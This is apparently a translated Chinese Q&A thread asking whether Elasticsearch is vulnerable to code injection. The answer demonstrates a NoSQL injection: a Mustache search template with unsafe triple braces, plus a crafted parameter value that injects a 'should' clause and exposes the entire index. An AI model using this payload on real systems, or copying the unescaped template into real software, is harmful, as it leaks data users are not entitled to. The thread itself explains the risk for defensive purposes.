Ynv*_*Ynv 13 security code-injection elasticsearch
我正在QueryBuilders
后端构建一个 Elasticsearch 查询。集群不直接暴露在互联网上,只能通过后端访问。
我注意到我为它提供了未经处理的用户输入,这让我想起了 SQL 注入。我知道如何防止 SQL 注入,但我不确定是否会QueryBuilder
转义输入?
我发现有一种叫做“搜索模板”的东西,它使用了胡子。他们可能会正确地转义内容吗?它们是防止此类问题的“必经之路”吗?
我什至不确定有问题的用户输入会是什么样子。使用 时QueryBuilder
,我不认为HTTP METHOD
可以更改查询的 。
也许脚本可能是一个问题,但可以禁用。
重申我的问题:代码注入是否是 Elasticsearch 的问题,如果是,缓解它们的最佳方法是什么?
谢谢!:)
Val*_*Val 11
您可以在 ES 中找到所有先前检测到的安全漏洞,但 NoSQL 注入从来都不是其中之一……到目前为止。
但是,您可以找到一些讨论如何做到这一点的文献。还有一些其他的讨论和资源可能值得一读。
举个简单的例子,当使用利用 Mustache 模板语言的搜索模板时,绝对有可能创建 NoSQL 注入攻击。例如,假设我们有以下两个文档:
PUT attack/doc/1
{
"field1": 2,
"field2": 1
}
PUT attack/doc/2
{
"field1": 2,
"field2": 2
}
Run Code Online (Sandbox Code Playgroud)
一个模板查询field1
(错误地)使用了三重胡须:
POST _scripts/attack
{
"script": {
"lang": "mustache",
"source": """
{
"query": {
"bool": {
"filter": [
{
"term": {
"field1": {{{field}}}
}
},
{
"range": {
"field2": {
"gte": 2
}
}
}
]
}
}
}
"""
}
}
Run Code Online (Sandbox Code Playgroud)
通过为field
参数使用一个巧妙选择的值,我们可以泄漏整个索引:
POST attack/_search/template
{
"id": "attack",
"params": {
"field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
}
}
Run Code Online (Sandbox Code Playgroud)
最终的查询看起来像这样,即我们能够插入一个基本上泄漏整个索引的 should 子句:
{
"query" : {
"bool" : {
"filter" : [
{
"term" : {
"field1" : 2
}
}
],
"should" : [
{
"range" : {
"field2" : {
"lte" : 2
}
}
},
{
"range" : {
"field2" : {
"gte" : 2
}
}
}
]
}
}
}
Run Code Online (Sandbox Code Playgroud)
归档时间: |
|
查看次数: |
7625 次 |
最近记录: |